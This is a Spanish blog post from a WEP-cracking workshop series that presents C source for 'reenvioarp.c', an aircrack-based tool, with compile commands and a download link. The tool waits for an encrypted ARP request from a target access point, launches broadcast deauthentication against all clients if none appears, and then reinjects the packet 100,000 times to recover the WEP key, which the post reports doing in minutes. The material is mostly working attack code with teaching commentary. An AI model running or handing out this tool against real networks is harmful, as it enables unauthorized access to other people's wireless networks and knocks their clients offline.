VULNERABILIDADES WEP. Parte I. Práctica(2). Programa reenvioarp.c

Posted by Star | Posted in | Posted on 22:41

Ejemplo 2. Reinyección selectiva de un paquete ARP.

Lo descargas de: http://www.megaupload.com/?d=DYGS5RVY

Lo guardas como reenvioarp.c en el directorio fuente de aircrack

Y lo compilas:

Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o reenvioarp reenvioarp.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude reenvioarp.o common.o crypto.o -o reenvioarp -Losdep -losdep   -lssl -lcrypto
 
En este ejemplo usaremos como candidato a inyectar un paquete del tipo ARP Request (Solicitud ARP) de este modo nos aseguramos que habrá respuesta por el destino y los IV’s crecerán tanto como paquetes inyectados.

Utiliza las habituales funciones send_packet, read_packet y dump_packet… estas ya son "norma"en este Taller.

La función main es igualita a la del anterior apartado, sólo que en esta ocasión, en lugar de llamar a la función rebote_datos, llama a una nueva función: inyectar_arp_req

Lo primero que hemos de tener claro para entender esta función es:

¿Cómo saber si se trata de un ARP o de otro tipo de paquetes?

Y… en el caso de sea ARP, ¿Cómo diferenciar si es un ARP Request o un ARP response?

Bueno, lo qu está claro es que la función debe comprobar primero si el bit wep está activado, si es un paquete de datos, como antes.

Para saber si un determinado paquete es un ARP nos tendremos que "fiar" de su tamaño.

Un paquete ARP debería de ser así mas o menos:
 
Código:
24 bytes    para la cabecera 802.11 (o 26 si hay QoS) 4 bytes    para el IV 6 bytes    para la cabecera SNAP 36 bytes    para los datos encriptados ARP 4 bytes    para el ICV.
 
En total, tendremos 68 bytes si no hay QoS o 70 si hay QoS.

Es posible existan paquetes de 68 bytes que no sean ARP, por ejemplo algunos paquetes IGMP (ojo, he puesto IGMP no ICMP) tienen ese tamaño. Estos paquetes son UDP y se utilizan contra direcciones multicast de host que están suscritos a determinados servicios.

Por tanto, podemos errar… si es el caso, no nos daremos cuenta hasta que termine todo, y tendremos que repetir.

Sin embargo, en lugar de leer indefinidamente hasta encontrar un paquete de datos que "parezca" ARP, limitamos mediante una condición,,, de forma que si tras leer 500 paquetes no "damos" con uno de datos, con wep activado y de tamaño 68, lanzamos desautenticaciones al BROADCAST!!!!

De ese modo los clientes tendrán que volver a autenticarse y de las primeras cosas que harán es enviar ARP request al punto de acceso!!!

También podíamos haber empezado por ahí y no esperear a leer 500, efectivamente, estaría mejor así… pero lo hecho, hecho está 

Por tanto la función inyectar_arp_req hace una llamada a la función desautenticar_todos pasándole como parámetro el bssid del AP que tecleamos en la función main.

No te pego el código de la función desautenticar_todos porque es la misma que hemos utilizado para las denegaciones de servicio, concretamente es el mismo código que llamamos dos01.c excepto que se utiliza desautenticación en lugar de disociación.

Como tienes el enlace del código fuente, ya lo verás por ti mismo.

Lo que si pego en este post es el contenido de la función inyectar_arp_req, que es la que nos interesa.

int inyectar_arp_req(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
unsigned char ARP_REQ[4096];

int captura_ARP_REQ;
int tamano_arp;
int cabmac;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;
memset (ARP_REQ, 0, 4096);
captura_ARP_REQ=0;

printf ("\n**** Esperando un ARP REQ con destino a -----> ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while( captura_ARP_REQ == 0) // mientras no se haya capturado un ARP_Request
    {
       
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
   printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
   fflush (stdout);
   nb_pkt_read++;
   if (nb_pkt_read % 500 ==0) {
      printf("\n\nATENCION!!! Parece que no se capturan ARP_REQ");
      printf("\n*********** Probando desautenticación al broadcast\n");
      desautenticar_todos(macAP);
      continue;
      }
   usleep(1800);
   tamano_arp=68; // el tamaño de un paquete arp es 68 para 802.11
         // 24 para la cabecera mac 802.11 estándar
         // 4 para el IV
         // 36 de los datos encriptados de ARP
         // 4 para el ICV
         // 24+4+26+4 = 68

   if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro

   cabmac = ( ( h80211[1] & 3 ) == 3 ) ? 30 : 24; //30 si (toDS=1 y FromDS=1). 24 en otro caso
 
   if( (h80211[0] & 0x80) == 0x80) {  // Si es un paquete QoS
      cabmac+=2;      // la cabecera MAC tiene un tamaño extra de 2 Bytes
      tamano_arp+=2;      // la longitud total del paquete tiene un tamaño extra de 2 bytes
   }

   if(caplen != tamano_arp) continue; // si el tamaño del paquete leido no es el de un arp, leer otro

       if ((h80211[1] & 0x01) == 0x01) { // Si es un paquete toDS
    
      if (h80211[16]==0xff ) { //asumimos que si la macdestino comienza por FF es broadcast
               // realmente deberíamos comprobar que las 6 posiciones sean FF
               // pero lo damos por supuesto

         /* Comprobamos que el bssid del paquete leido es la misma mac que la que tecleamos */
         /* de ese modo nos aseguramos que el paquete leído pertenece a la red wifi deseada*/

         esmiap=0;
         for (z=0;z<6;z++) {
            if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
            }
         if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
            {
            memcpy (ARP_REQ,h80211,caplen); // copiar el paqute ledio al array ARP_REQ
            captura_ARP_REQ=1; // hacemos uno esta variable para salir del while!!!
            }
      }
   }
    

} // fin de while y captura de paquetes

   /* Parece que tenemos un Candidato */

   printf ("\n\nPaquete ARP_REQ a enviar");
   printf ("\n************************\n");
   dump_packet (ARP_REQ, caplen);
   printf ("\nEsperando 5 segundos para reinyectar el paquete ARP_REQ.");
   printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
   sleep(5);

   /* Inyectar 100.000 paquetes del tipo ARP_REQ */

   for (n=0;n<100000;n++) {
      send_packet (ARP_REQ, caplen);
      printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
      fflush (stdout);
      usleep(1800);
   }
return(0);
}
 
Como de costumbre, he intentado ser lo mas descriptivo posible dentro del código fuente.

Ya veo que es algo "pesado" estar continuamente explicando cada paso, pero es que lo que nos interesa en este taller es precisamente eso, comprender como se construyen las tramas, los valores, etc.. por eso nunca sobran estas explicaciones aunque sean repetitivas en muchas ocasiones.

Además, dentro de poco van a venir ataques "mas serios" o al menos mas complicados, y entonces estas pequeñas explicaciones serán bastante útiles.

También vamos a verlo en acción (este no fallará en el crack )

Imagen

Y tras unos 40mil paquetes inyectados...

Imagen

Correcto!!! Inyección exitosa y clave wep descifrada!!!!

Como ves, es bastante rápido... en menos de 3 minutos tenemos la clave wep (en la pantalla que se muestra arriba pone 6 minutos... pero ya llevaba 89782 paquetes de datos inyectados, con 40000 fueron suficientes, 2 minutos)

Imagen
 
 
 

Comments (0)

Publicar un comentario